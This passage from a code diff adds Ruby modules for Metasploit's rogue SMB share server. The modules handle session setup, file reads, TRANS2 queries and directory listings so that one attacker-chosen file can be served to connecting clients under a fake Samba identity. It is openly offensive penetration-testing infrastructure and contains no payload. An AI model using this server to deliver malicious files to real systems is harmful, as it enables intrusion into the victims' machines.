pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_CREATE_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_NT_CREATE_ANDX_RES_WORD_COUNT
|
||||
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
pkt['Payload'].v['OpLock'] = CONST::LEVEL_II_OPLOCK # Grant Oplock on File
|
||||
pkt['Payload'].v['FileID'] = file_id
|
||||
pkt['Payload'].v['Action'] = CONST::FILE_OPEN # The file existed and was opened
|
||||
pkt['Payload'].v['CreateTimeLow'] = lo
|
||||
pkt['Payload'].v['CreateTimeHigh'] = hi
|
||||
pkt['Payload'].v['AccessTimeLow'] = lo
|
||||
pkt['Payload'].v['AccessTimeHigh'] = hi
|
||||
pkt['Payload'].v['WriteTimeLow'] = lo
|
||||
pkt['Payload'].v['WriteTimeHigh'] = hi
|
||||
pkt['Payload'].v['ChangeTimeLow'] = lo
|
||||
pkt['Payload'].v['ChangeTimeHigh'] = hi
|
||||
pkt['Payload'].v['Attributes'] = attributes
|
||||
pkt['Payload'].v['AllocLow'] = alloc_low
|
||||
pkt['Payload'].v['AllocHigh'] = 0
|
||||
pkt['Payload'].v['EOFLow'] = end_of_file_low
|
||||
pkt['Payload'].v['EOFHigh'] = 0
|
||||
pkt['Payload'].v['FileType'] = CONST::SMB_RESOURCE_FILE_TYPE_DISK
|
||||
pkt['Payload'].v['IPCState'] = 0x7 # Number maxim of instance a named pipe can have
|
||||
pkt['Payload'].v['IsDirectory'] = is_directory
|
||||
pkt['Payload'].v['MaxAccess'] = CREATE_MAX_ACCESS
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,64 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module ReadAndx
|
||||
|
||||
# Handles an SMB_COM_READ_ANDX command, used by the client to read data from a
|
||||
# file.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_read_andx(c, buff)
|
||||
pkt = CONST::SMB_READ_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
offset = pkt['Payload'].v['Offset']
|
||||
length = pkt['Payload'].v['MaxCountLow']
|
||||
|
||||
send_read_andx_res(c, {
|
||||
data_len_low: length,
|
||||
byte_count: length,
|
||||
data: file_contents[offset, length]
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :data_len_low The length of the file data sent back.
|
||||
# @option opts [Fixnum] :byte_count The length of the file data sent back.
|
||||
# @option opts [String] :data The bytes read from the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_read_andx_res(c, opts = {})
|
||||
data_len_low = opts[:data_len_low] || 0
|
||||
byte_count = opts[:byte_count] || 0
|
||||
data = opts[:data] || ''
|
||||
|
||||
pkt = CONST::SMB_READ_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_READ_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_READ_ANDX_RES_WORD_COUNT
|
||||
pkt['Payload'].v['AndX'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
pkt['Payload'].v['Remaining'] = 0xffff
|
||||
pkt['Payload'].v['DataLenLow'] = data_len_low
|
||||
pkt['Payload'].v['DataOffset'] = CONST::SMB_READ_RES_HDR_PKT_LENGTH
|
||||
pkt['Payload'].v['DataLenHigh'] = 0
|
||||
pkt['Payload'].v['Reserved3'] = 0
|
||||
pkt['Payload'].v['Reserved4'] = 0x0a
|
||||
pkt['Payload'].v['ByteCount'] = byte_count
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,87 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
# @todo Add support to only allow session setup against the configured shared resource
|
||||
module SessionSetupAndx
|
||||
|
||||
# Handles an SMB_COM_SESSION_SETUP_ANDX command, used by the client to configure an SMB Session.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_session_setup_andx(c, buff)
|
||||
tree_connect_response = CONST::SMB_TREE_CONN_ANDX_RES_PKT.make_struct
|
||||
tree_connect_response.v['WordCount'] = CONST::SMB_TREE_CONN_ANDX_WORD_COUNT
|
||||
tree_connect_response.v['AndXCommand'] = CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
tree_connect_response.v['AndXReserved'] = 0
|
||||
tree_connect_response.v['AndXOffset'] = 0
|
||||
tree_connect_response.v['OptionalSupport'] = 1
|
||||
tree_connect_response.v['AccessRights'] = TREE_CONNECT_MAX_ACCESS
|
||||
tree_connect_response.v['GuestAccessRights'] = 0
|
||||
tree_connect_response.v['Payload'] = "A:\x00#{Rex::Text.to_unicode('NTFS')}\x00\x00"
|
||||
|
||||
data = Rex::Text.to_unicode('Unix', 'utf-16be') + "\x00\x00" + # Native OS # Samba signature
|
||||
Rex::Text.to_unicode('Samba 3.4.7', 'utf-16be') + "\x00\x00" + # Native LAN Manager # Samba signature
|
||||
Rex::Text.to_unicode('WORKGROUP', 'utf-16be') + "\x00\x00\x00" # Primary DOMAIN # Samba signature
|
||||
|
||||
send_session_setup_andx_res(c, {
|
||||
action: CONST::SMB_SETUP_GUEST,
|
||||
data: data,
|
||||
andx: CONST::SMB_COM_TREE_CONNECT_ANDX,
|
||||
andx_offset: 96,
|
||||
andx_command: tree_connect_response
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_NT_CREATE_ANDX response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String, Rex::Struct2::CStruct>}] Response custom values.
|
||||
# @option opts [Fixnum] :action SMB Configuration result.
|
||||
# @option opts [Fixnum] :andx_offset The offset in bytes from the start of the SMB Header to the start
|
||||
# of the WordCount field in the next SMBCommand.
|
||||
# @option opts [Fixnum] :reserved Reserved field.
|
||||
# @option opts [Fixnum] :andx The command code for the next SMB Command in the packet.
|
||||
# @option opts [String] :data The SMB_Data for the SMB_COM_SESSION_SETUP_ANDX response.
|
||||
# @option opts [Rex::Struct2::CStruct] :andx_command The next SMB Command in the packet.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_session_setup_andx_res(c, opts = {})
|
||||
action = opts[:action] || 0
|
||||
andx_offset = opts[:andx_offset] || 0
|
||||
reserved = opts[:reserved] || 0
|
||||
andx = opts[:andx] || CONST::SMB_COM_NO_ANDX_COMMAND
|
||||
data = opts[:data] || ''
|
||||
andx_command = opts[:andx_command] || nil
|
||||
|
||||
pkt = CONST::SMB_SETUP_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_SESSION_SETUP_ANDX
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_SESSION_SETUP_ANDX_RES_WORD_COUNT
|
||||
pkt['Payload'].v['AndX'] = andx
|
||||
pkt['Payload'].v['Reserved1'] = reserved
|
||||
pkt['Payload'].v['AndXOffset'] = andx_offset
|
||||
pkt['Payload'].v['Action'] = action
|
||||
pkt['Payload'].v['Payload'] = data
|
||||
|
||||
if andx_command
|
||||
full_pkt = pkt.to_s + andx_command.to_s
|
||||
original_length = full_pkt[2, 2].unpack('n')[0]
|
||||
original_length = original_length + andx_command.to_s.length
|
||||
full_pkt[2, 2] = [original_length].pack('n')
|
||||
else
|
||||
full_pkt = pkt.to_s
|
||||
end
|
||||
|
||||
c.put(full_pkt)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,100 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/find_first2'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/query_file_information'
|
||||
require 'msf/core/exploit/smb/server/share/command/trans2/query_path_information'
|
||||
|
||||
# Handles an SMB_COM_TRANSACTION2 command, used to provide support for a richer set of
|
||||
# server-side file system handling.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2(c, buff)
|
||||
smb = @state[c]
|
||||
pkt = CONST::SMB_TRANS2_PKT.make_struct
|
||||
pkt.from_s(buff)
|
||||
|
||||
data_trans2 = CONST::SMB_DATA_TRANS2.make_struct
|
||||
data_trans2.from_s(pkt['Payload'].v['SetupData'])
|
||||
|
||||
sub_command = data_trans2.v['SubCommand']
|
||||
parameters = data_trans2.v['Parameters'].gsub(/^[\x00]*/, '') #delete padding
|
||||
|
||||
case sub_command
|
||||
when CONST::TRANS2_QUERY_FILE_INFO
|
||||
return smb_cmd_trans2_query_file_information(c, parameters)
|
||||
when CONST::TRANS2_QUERY_PATH_INFO
|
||||
return smb_cmd_trans2_query_path_information(c, parameters)
|
||||
when CONST::TRANS2_FIND_FIRST2
|
||||
return smb_cmd_trans2_find_first2(c, parameters)
|
||||
else
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown SMB_COM_TRANSACTION2 subcommand: #{sub_command.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_NT_STATUS_NOT_FOUND, true)
|
||||
end
|
||||
end
|
||||
|
||||
# Builds and sends an SMB_COM_TRANSACTION2 response.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param parameters [Rex::Struct2::CStruct] The SMB_Parameters to include in the response.
|
||||
# @param data [Rex::Struct2::CStruct] The SMB_Data to include in the response.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_trans2_res(c, parameters, data)
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION2
|
||||
pkt['Payload']['SMB'].v['Flags1'] = FLAGS
|
||||
pkt['Payload']['SMB'].v['Flags2'] = FLAGS2
|
||||
pkt['Payload']['SMB'].v['WordCount'] = CONST::SMB_TRANS2_RES_WORD_COUNT
|
||||
pkt['Payload'].v['ParamCountTotal'] = parameters.to_s.length
|
||||
pkt['Payload'].v['DataCountTotal'] = data.to_s.length
|
||||
pkt['Payload'].v['ParamCount'] = parameters.to_s.length
|
||||
pkt['Payload'].v['ParamOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH
|
||||
pkt['Payload'].v['DataCount'] = data.to_s.length
|
||||
pkt['Payload'].v['DataOffset'] = CONST::SMB_TRANS_RES_PKT_LENGTH + parameters.to_s.length
|
||||
pkt['Payload'].v['Payload'] =
|
||||
parameters.to_s +
|
||||
data.to_s
|
||||
|
||||
c.put(pkt.to_s)
|
||||
end
|
||||
|
||||
# Converts the path to ascii from unicode and normalizes.
|
||||
#
|
||||
# @param path [String] The path to normalize.
|
||||
# @return [String] The normalized path.
|
||||
def normalize_path(path)
|
||||
normalized = Rex::Text.to_ascii(path).downcase
|
||||
normalized.gsub!(/[\x00]*/, '') #delete padding
|
||||
normalized.gsub!(/\\x([0-9a-f]{2})/i, '') # delete hex chars
|
||||
|
||||
normalized
|
||||
end
|
||||
|
||||
# Expands a path with wildcards, and returns the set of matching files.
|
||||
#
|
||||
# @param path [String] the path to expand
|
||||
# @return [String] The matching file.
|
||||
# @todo It's a shortcut atm, make complete wildcard handling.
|
||||
# @todo return an Array of matching files.
|
||||
def smb_expand(path)
|
||||
search_path = path.gsub(/<\./, '*.') # manage wildcards
|
||||
extension = File.extname(file_name)
|
||||
if search_path == "#{path_name}*#{extension}"
|
||||
search_path = "#{path_name}#{file_name}"
|
||||
end
|
||||
|
||||
search_path
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,44 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
module FindFirst2
|
||||
|
||||
# Handles an TRANS2_FIND_FIRST2 subcommand, used to begin a search for file(s) within a
|
||||
# directory or for a directory.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2_find_first2(c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
params = CONST::SMB_TRANS2_FIND_FIRST2_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
normalized_path = normalize_path(params.v['FileName'])
|
||||
search_path = smb_expand(normalized_path)
|
||||
|
||||
case loi
|
||||
when CONST::SMB_FIND_FILE_NAMES_INFO
|
||||
return smb_cmd_find_file_names_info(c, search_path)
|
||||
when CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO
|
||||
return smb_cmd_find_file_both_directory_info(c, search_path)
|
||||
when CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO
|
||||
return smb_cmd_find_file_full_directory_info(c, search_path)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_FIND_FIRST2 with loi: #{loi.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,42 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
#@todo Check FID and no shortcut assuming the request always come for the valid FID
|
||||
module QueryFileInformation
|
||||
|
||||
# Handles an TRANS2_QUERY_FILE_INFORMATION subcommand, used to get information about
|
||||
# an specific file or directory, using its FID.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2_query_file_information(c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
params = CONST::SMB_TRANS2_QUERY_FILE_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
fid = params.v['FID']
|
||||
|
||||
case loi
|
||||
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
|
||||
return smb_cmd_trans_query_file_info_standard(c, fid)
|
||||
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
|
||||
return smb_cmd_trans_query_file_info_basic(c, fid)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_FILE_INFORMATION with loi: #{loi.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,43 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module Command
|
||||
module Trans2
|
||||
module QueryPathInformation
|
||||
|
||||
# Handles an TRANS2_QUERY_PATH_INFORMATION subcommand, used to get information about
|
||||
# an specific file or directory, using its path.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param buff [String] The data including the client request.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_trans2_query_path_information(c, buff)
|
||||
smb = @state[c]
|
||||
|
||||
params = CONST::SMB_TRANS2_QUERY_PATH_PARAMETERS.make_struct
|
||||
params.from_s(buff)
|
||||
|
||||
loi = params.v['InformationLevel']
|
||||
file_name = normalize_path(params.v['FileName'])
|
||||
|
||||
case loi
|
||||
when CONST::SMB_QUERY_FILE_STANDARD_INFO, CONST::SMB_QUERY_FILE_STANDARD_INFO_ALIAS, CONST::SMB_QUERY_FILE_INTERNAL_INFO_ALIAS
|
||||
return smb_cmd_trans_query_path_info_standard(c, file_name)
|
||||
when CONST::SMB_QUERY_FILE_BASIC_INFO, CONST::SMB_QUERY_FILE_BASIC_INFO_ALIAS, CONST::SMB_SET_FILE_BASIC_INFO_ALIAS
|
||||
return smb_cmd_trans_query_path_info_basic(c, file_name)
|
||||
when CONST::SMB_QUERY_FILE_NETWORK_OPEN_INFO
|
||||
return smb_cmd_trans_query_path_info_network(c, file_name)
|
||||
else
|
||||
# Send STATUS_SUCCESS with the hope of going ahead
|
||||
vprint_status("SMB Share - #{smb[:ip]} Unknown TRANS2_QUERY_PATH_INFORMATION with loi: #{loi.to_s(16)}")
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_SUCCESS)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,12 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
require 'msf/core/exploit/smb/server/share/information_level/find'
|
||||
require 'msf/core/exploit/smb/server/share/information_level/query'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,229 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
module Find
|
||||
|
||||
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_find_file_both_directory_info(c, path)
|
||||
|
||||
if path && path.include?(file_name)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
length = file_contents.length
|
||||
ea = 0
|
||||
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL
|
||||
search = 1
|
||||
elsif path && path == path_name
|
||||
data = Rex::Text.to_unicode(path_name)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 0x100
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
end
|
||||
|
||||
send_find_file_both_directory_info_res(c, {
|
||||
data: data,
|
||||
end_of_file: length,
|
||||
ea_error_offset: ea,
|
||||
allocation_size: alloc,
|
||||
file_attributes: attrib,
|
||||
search_count: search,
|
||||
search_offset: search
|
||||
})
|
||||
end
|
||||
|
||||
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_NAMES_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_find_file_names_info(c, path)
|
||||
if path && path.include?(file_name)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
elsif path && path == path_name
|
||||
data = Rex::Text.to_unicode(path_name)
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
end
|
||||
|
||||
send_find_file_names_info_res(c, { data: data })
|
||||
end
|
||||
|
||||
# Handles a TRANS2_FIND_FIRST2 transaction request with SMB_FIND_FILE_FULL_DIRECTORY_INFO
|
||||
# Information Level.
|
||||
#
|
||||
# @param c [Socket] The client sending the request.
|
||||
# @param path [String] The path which the client is requesting info from.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def smb_cmd_find_file_full_directory_info(c, path)
|
||||
if path && path.include?(file_name)
|
||||
data = Rex::Text.to_unicode(file_name)
|
||||
length = file_contents.length
|
||||
ea = 0
|
||||
alloc = 1048576 # Allocation Size = 1048576 || 1Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_NORMAL # File
|
||||
search = 0x100
|
||||
elsif path && path == path_name
|
||||
data = Rex::Text.to_unicode(path_name)
|
||||
length = 0
|
||||
ea = 0x21
|
||||
alloc = 0 # 0Mb
|
||||
attrib = CONST::SMB_EXT_FILE_ATTR_DIRECTORY
|
||||
search = 1
|
||||
else
|
||||
return smb_error(CONST::SMB_COM_TRANSACTION2, c, CONST::SMB_STATUS_NO_SUCH_FILE, true)
|
||||
end
|
||||
|
||||
send_find_full_directory_info_res(c, {
|
||||
data: data,
|
||||
end_of_file: length,
|
||||
ea_error_offset: ea,
|
||||
allocation_size: alloc,
|
||||
file_attributes: attrib,
|
||||
search_count: search,
|
||||
search_offset: search
|
||||
})
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_BOTH_DIRECTORY_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :search_count The number of entries returned by the search.
|
||||
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
|
||||
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_BOTH_DIRECTORY_INFO.
|
||||
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
|
||||
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
|
||||
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
|
||||
# @option opts [String] :data The long name of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_find_file_both_directory_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
search_count = opts[:search_count] || 0
|
||||
end_of_search = opts[:end_of_search] || 0
|
||||
ea_error_offset = opts[:ea_error_offset] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = search_count
|
||||
trans2_params.v['EndOfSearch'] = end_of_search
|
||||
trans2_params.v['EaErrorOffset'] = ea_error_offset
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_BOTH_DIRECTORY_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['loCreationTime'] = lo
|
||||
find_file.v['hiCreationTime'] = hi
|
||||
find_file.v['loLastAccessTime'] = lo
|
||||
find_file.v['hiLastAccessTime'] = hi
|
||||
find_file.v['loLastWriteTime'] = lo
|
||||
find_file.v['hiLastWriteTime'] = hi
|
||||
find_file.v['loLastChangeTime'] = lo
|
||||
find_file.v['hiLastChangeTime'] = hi
|
||||
find_file.v['EndOfFile'] = end_of_file
|
||||
find_file.v['AllocationSize'] = allocation_size
|
||||
find_file.v['ExtFileAttributes'] = file_attributes
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_NAMES_INFO
|
||||
# information level.
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [String] :data The long name of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_find_file_names_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
|
||||
pkt = CONST::SMB_TRANS_RES_PKT.make_struct
|
||||
smb_set_defaults(c, pkt)
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_NAMES_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_NAMES_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = 1
|
||||
trans2_params.v['EndOfSearch'] = 1
|
||||
trans2_params.v['EaErrorOffset'] = 0
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
|
||||
# Builds and sends an TRANS2_FIND_FIRST2 response with SMB_FIND_FILE_FULL_DIRECTORY_INFO
|
||||
# information level.
|
||||
#
|
||||
# @param c [Socket] The client to answer.
|
||||
# @param opts [Hash{Symbol => <Fixnum, String>}] Response custom values.
|
||||
# @option opts [Fixnum] :search_count The number of entries returned by the search.
|
||||
# @option opts [Fixnum] :end_of_search 0 if search continues or nonzero otherwise.
|
||||
# @option opts [Fixnum] :ea_error_offset should be 0 for SMB_FIND_FILE_FULL_DIRECTORY_INFO.
|
||||
# @option opts [Fixnum] :end_of_file The byte offset to the end of the file.
|
||||
# @option opts [Fixnum] :allocation_size The file allocation size in bytes.
|
||||
# @option opts [Fixnum] :file_attributes The extended file attributes of the file.
|
||||
# @option opts [String] :data The long name of the file.
|
||||
# @return [Fixnum] The number of bytes returned to the client as response.
|
||||
def send_find_full_directory_info_res(c, opts = {})
|
||||
data = opts[:data] || ''
|
||||
search_count = opts[:search_count] || 0
|
||||
end_of_search = opts[:end_of_search] || 0
|
||||
ea_error_offset = opts[:ea_error_offset] || 0
|
||||
end_of_file = opts[:end_of_file] || 0
|
||||
allocation_size = opts[:allocation_size] || 0
|
||||
file_attributes = opts[:file_attributes] || 0
|
||||
|
||||
find_file = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR.make_struct
|
||||
find_file.v['NextEntryOffset'] = CONST::SMB_FIND_FILE_FULL_DIRECTORY_INFO_HDR_LENGTH + data.length
|
||||
find_file.v['FileIndex'] = 0
|
||||
find_file.v['loCreationTime'] = lo
|
||||
find_file.v['hiCreationTime'] = hi
|
||||
find_file.v['loLastAccessTime'] = lo
|
||||
find_file.v['hiLastAccessTime'] = hi
|
||||
find_file.v['loLastWriteTime'] = lo
|
||||
find_file.v['hiLastWriteTime'] = hi
|
||||
find_file.v['loLastChangeTime'] = lo
|
||||
find_file.v['hiLastChangeTime'] = hi
|
||||
find_file.v['EndOfFile'] = end_of_file
|
||||
find_file.v['AllocationSize'] = allocation_size
|
||||
find_file.v['ExtFileAttributes'] = file_attributes
|
||||
find_file.v['FileName'] = data
|
||||
|
||||
trans2_params = CONST::SMB_TRANS2_FIND_FIRST2_RES_PARAMETERS.make_struct
|
||||
trans2_params.v['SID'] = 0xfffd
|
||||
trans2_params.v['SearchCount'] = search_count
|
||||
trans2_params.v['EndOfSearch'] = end_of_search
|
||||
trans2_params.v['EaErrorOffset'] = ea_error_offset
|
||||
trans2_params.v['LastNameOffset'] = 0
|
||||
|
||||
send_trans2_res(c, trans2_params, find_file)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,216 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::Remote::SMB::Server
|
||||
module Share
|
||||
module InformationLevel
|
||||
module Query
|
||||
|
||||
# Handles a TRANS2_QUERY_FILE_INFORMATION transaction request with SMB_QUERY_FILE_BASIC_INFO
